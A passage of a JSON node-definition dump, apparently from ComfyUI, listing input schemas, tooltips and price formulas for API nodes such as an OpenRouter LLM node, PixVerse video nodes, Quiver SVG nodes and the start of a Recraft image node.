"image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "openai/gpt-5.5-pro", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "openai/gpt-5.5", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "google/gemini-3.5-flash", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference video(s) \u2014 up to 4. Sent as URLs.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}]}}}, {"key": "x-ai/grok-4.20", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "x-ai/grok-4.3", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "deepseek/deepseek-v4-pro", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "deepseek/deepseek-v4-flash", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "deepseek/deepseek-v3.2", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "qwen/qwen3.6-max-preview", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "qwen/qwen3.6-plus", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 10. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference video(s) \u2014 up to 4. Sent as URLs.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}]}}}, {"key": "qwen/qwen3.6-flash", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 10. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference video(s) \u2014 up to 4. Sent as URLs.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}]}}}, {"key": "mistralai/mistral-large-2512", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 8. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}, {"key": "mistralai/mistral-medium-3-5", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 8. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}, {"key": "z-ai/glm-4.6", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "z-ai/glm-5", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "moonshotai/kimi-k2.6", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 10. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}]}}}, {"key": "moonshotai/kimi-k2-thinking", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "perplexity/sonar-pro", "inputs": {"required": {"search_context_size": ["COMBO", {"tooltip": "How much web search context to retrieve. Larger = more grounded but slower/pricier.", "advanced": true, "default": "medium", "multiselect": false, "options": ["low", "medium", "high"]}]}}}, {"key": "perplexity/sonar-reasoning-pro", "inputs": {"required": {"search_context_size": ["COMBO", {"tooltip": "How much web search context to retrieve. Larger = more grounded but slower/pricier.", "advanced": true, "default": "medium", "multiselect": false, "options": ["low", "medium", "high"]}], "reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "perplexity/sonar-deep-research", "inputs": {"required": {"search_context_size": ["COMBO", {"tooltip": "How much web search context to retrieve. Larger = more grounded but slower/pricier.", "advanced": true, "default": "medium", "multiselect": false, "options": ["low", "medium", "high"]}], "reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}]}], "seed": ["INT", {"tooltip": "Seed for sampling. Set to 0 to omit. Most models treat this as a hint only.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate the model's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenRouterLLMNode", "display_name": "OpenRouter LLM", "description": "Generate text responses through OpenRouter. Routes to a curated set of popular models from xAI, DeepSeek, Qwen, Mistral, Z.AI (GLM), Moonshot (Kimi), and Perplexity Sonar.", "python_module": "comfy_api_nodes.nodes_openrouter", "category": "partner/text/OpenRouter", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "(\n $rates := {\n \"anthropic/claude-opus-4.7\": [0.005, 0.025],\n \"openai/gpt-5.5-pro\": [0.03, 0.18],\n \"openai/gpt-5.5\": [0.005, 0.03],\n \"google/gemini-3.5-flash\": [0.0015, 0.009],\n \"x-ai/grok-4.20\": [0.00125, 0.0025],\n \"x-ai/grok-4.3\": [0.00125, 0.0025],\n \"deepseek/deepseek-v4-pro\": [0.000435, 0.00087],\n \"deepseek/deepseek-v4-flash\": [0.000112, 0.000224],\n \"deepseek/deepseek-v3.2\": [0.000252, 0.000378],\n \"qwen/qwen3.6-max-preview\": [0.00104, 0.00624],\n \"qwen/qwen3.6-plus\": [0.000325, 0.00195],\n \"qwen/qwen3.6-flash\": [0.0001875, 0.001125],\n \"mistralai/mistral-large-2512\": [0.0005, 0.0015],\n \"mistralai/mistral-medium-3-5\": [0.0015, 0.0075],\n \"z-ai/glm-4.6\": [0.00043, 0.00174],\n \"z-ai/glm-5\": [0.0006, 0.00192],\n \"moonshotai/kimi-k2.6\": [0.00073, 0.00349],\n \"moonshotai/kimi-k2-thinking\": [0.0006, 0.0025],\n \"perplexity/sonar-pro\": [0.003, 0.015],\n \"perplexity/sonar-reasoning-pro\": [0.002, 0.008],\n \"perplexity/sonar-deep-research\": [0.002, 0.008]\n };\n $r := $lookup($rates, widgets.model);\n $r ? {\n \"type\": \"list_usd\",\n \"usd\": $r,\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n } : {\"type\": \"text\", \"text\": \"Token-based\"}\n)"}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "PixverseTextToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16"]}], "quality": ["COMBO", {"default": "540p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration_seconds": ["COMBO", {"multiselect": false, "options": [5, 8]}], "motion_mode": ["COMBO", {"multiselect": false, "options": ["normal", "fast"]}], "seed": ["INT", {"tooltip": "Seed for video generation.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "multiline": true}], "pixverse_template": ["PIXVERSE_TEMPLATE", {"tooltip": "An optional template to influence style of generation, created by the PixVerse Template node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "quality", "duration_seconds", "motion_mode", "seed"], "optional": ["negative_prompt", "pixverse_template"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "PixverseTextToVideoNode", "display_name": "PixVerse Text to Video", "description": "Generates videos based on prompt and output_size.", "python_module": "comfy_api_nodes.nodes_pixverse", "category": "partner/video/PixVerse", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration_seconds", "type": "COMBO"}, {"name": "quality", "type": "COMBO"}, {"name": "motion_mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"5\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 0.6, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.45, \"fast\": 0.9},\n \"360p\": {\"normal\": 0.45, \"fast\": 0.9}\n },\n \"8\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.9, \"fast\": 1.2},\n \"360p\": {\"normal\": 0.9, \"fast\": 1.2}\n }\n };\n $durPrices := $lookup($prices, $string(widgets.duration_seconds));\n $qualityPrices := $lookup($durPrices, widgets.quality);\n $price := $lookup($qualityPrices, widgets.motion_mode);\n {\"type\":\"usd\",\"usd\": $price ? $price : 0.9}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PixverseImageToVideoNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "quality": ["COMBO", {"default": "540p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration_seconds": ["COMBO", {"multiselect": false, "options": [5, 8]}], "motion_mode": ["COMBO", {"multiselect": false, "options": ["normal", "fast"]}], "seed": ["INT", {"tooltip": "Seed for video generation.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "multiline": true}], "pixverse_template": ["PIXVERSE_TEMPLATE", {"tooltip": "An optional template to influence style of generation, created by the PixVerse Template node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "quality", "duration_seconds", "motion_mode", "seed"], "optional": ["negative_prompt", "pixverse_template"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "PixverseImageToVideoNode", "display_name": "PixVerse Image to Video", "description": "Generates videos based on prompt and output_size.", "python_module": "comfy_api_nodes.nodes_pixverse", "category": "partner/video/PixVerse", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration_seconds", "type": "COMBO"}, {"name": "quality", "type": "COMBO"}, {"name": "motion_mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"5\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 0.6, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.45, \"fast\": 0.9},\n \"360p\": {\"normal\": 0.45, \"fast\": 0.9}\n },\n \"8\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.9, \"fast\": 1.2},\n \"360p\": {\"normal\": 0.9, \"fast\": 1.2}\n }\n };\n $durPrices := $lookup($prices, $string(widgets.duration_seconds));\n $qualityPrices := $lookup($durPrices, widgets.quality);\n $price := $lookup($qualityPrices, widgets.motion_mode);\n {\"type\":\"usd\",\"usd\": $price ? $price : 0.9}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PixverseTransitionVideoNode": {"input": {"required": {"first_frame": ["IMAGE", {}], "last_frame": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "quality": ["COMBO", {"default": "540p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration_seconds": ["COMBO", {"multiselect": false, "options": [5, 8]}], "motion_mode": ["COMBO", {"multiselect": false, "options": ["normal", "fast"]}], "seed": ["INT", {"tooltip": "Seed for video generation.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["first_frame", "last_frame", "prompt", "quality", "duration_seconds", "motion_mode", "seed"], "optional": ["negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "PixverseTransitionVideoNode", "display_name": "PixVerse Transition Video", "description": "Generates videos based on prompt and output_size.", "python_module": "comfy_api_nodes.nodes_pixverse", "category": "partner/video/PixVerse", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration_seconds", "type": "COMBO"}, {"name": "quality", "type": "COMBO"}, {"name": "motion_mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"5\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 0.6, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.45, \"fast\": 0.9},\n \"360p\": {\"normal\": 0.45, \"fast\": 0.9}\n },\n \"8\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.9, \"fast\": 1.2},\n \"360p\": {\"normal\": 0.9, \"fast\": 1.2}\n }\n };\n $durPrices := $lookup($prices, $string(widgets.duration_seconds));\n $qualityPrices := $lookup($durPrices, widgets.quality);\n $price := $lookup($qualityPrices, widgets.motion_mode);\n {\"type\":\"usd\",\"usd\": $price ? $price : 0.9}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PixverseTemplateNode": {"input": {"required": {"template": ["COMBO", {"multiselect": false, "options": ["Microwave", "Suit Swagger", "Anything, Robot", "Subject 3 Fever", "kiss kiss"]}]}}, "input_order": {"required": ["template"]}, "is_input_list": false, "output": ["PIXVERSE_TEMPLATE"], "output_is_list": [false], "output_name": ["pixverse_template"], "output_tooltips": [null], "output_matchtypes": null, "name": "PixverseTemplateNode", "display_name": "PixVerse Template", "description": "", "python_module": "comfy_api_nodes.nodes_pixverse", "category": "partner/video/PixVerse", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "QuiverTextToSVGNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the desired SVG output.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for SVG generation.", "options": [{"key": "arrow-1.1", "inputs": {"required": {"temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}, {"key": "arrow-1.1-max", "inputs": {"required": {"temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}, {"key": "arrow-preview", "inputs": {"required": {"temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"instructions": ["STRING", {"tooltip": "Additional style or formatting guidance.", "advanced": true, "default": "", "multiline": true}], "reference_images": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 4 reference images to guide the generation.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "ref_", "min": 0, "max": 4}}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["instructions", "reference_images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "QuiverTextToSVGNode", "display_name": "Quiver Text to SVG", "description": "Generate an SVG from a text prompt using Quiver AI.", "python_module": "comfy_api_nodes.nodes_quiver", "category": "partner/image/Quiver", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $contains(widgets.model, \"max\")\n ? {\"type\":\"usd\",\"usd\":0.3575}\n : $contains(widgets.model, \"preview\")\n ? {\"type\":\"usd\",\"usd\":0.429}\n : {\"type\":\"usd\",\"usd\":0.286}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "QuiverImageToSVGNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Input image to vectorize."}], "auto_crop": ["BOOLEAN", {"tooltip": "Automatically crop to the dominant subject.", "advanced": true, "default": false}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for SVG vectorization.", "options": [{"key": "arrow-1.1", "inputs": {"required": {"target_size": ["INT", {"tooltip": "Square resize target in pixels.", "advanced": true, "default": 1024, "min": 128, "max": 4096}], "temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}, {"key": "arrow-1.1-max", "inputs": {"required": {"target_size": ["INT", {"tooltip": "Square resize target in pixels.", "advanced": true, "default": 1024, "min": 128, "max": 4096}], "temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}, {"key": "arrow-preview", "inputs": {"required": {"target_size": ["INT", {"tooltip": "Square resize target in pixels.", "advanced": true, "default": 1024, "min": 128, "max": 4096}], "temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "auto_crop", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "QuiverImageToSVGNode", "display_name": "Quiver Image to SVG", "description": "Vectorize a raster image into SVG using Quiver AI.", "python_module": "comfy_api_nodes.nodes_quiver", "category": "partner/image/Quiver", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $contains(widgets.model, \"max\")\n ? {\"type\":\"usd\",\"usd\":0.3575}\n : $contains(widgets.model, \"preview\")\n ? {\"type\":\"usd\",\"usd\":0.429}\n : {\"type\":\"usd\",\"usd\":0.286}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftTextToImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1365x1024", "1024x1365", "1536x1024", "1024x1536", "1820x1024", "1024x1820", "1024x2048", "2048x1024", "1434x1024", "1024x1434", "1024x1280", "1280x1024", "1024x1707", "1707x1024"]}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_style": ["RECRAFT_V3_STYLE", {}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}], "recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "size", "n", "seed"], "optional": ["recraft_style", 